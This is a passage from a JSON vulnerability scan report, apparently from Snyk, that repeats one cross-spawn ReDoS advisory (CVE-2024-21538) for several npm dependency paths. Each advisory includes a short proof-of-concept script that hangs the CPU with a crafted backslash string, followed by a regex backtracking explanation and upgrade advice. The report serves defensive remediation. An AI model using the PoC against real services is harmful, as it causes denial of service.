"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- 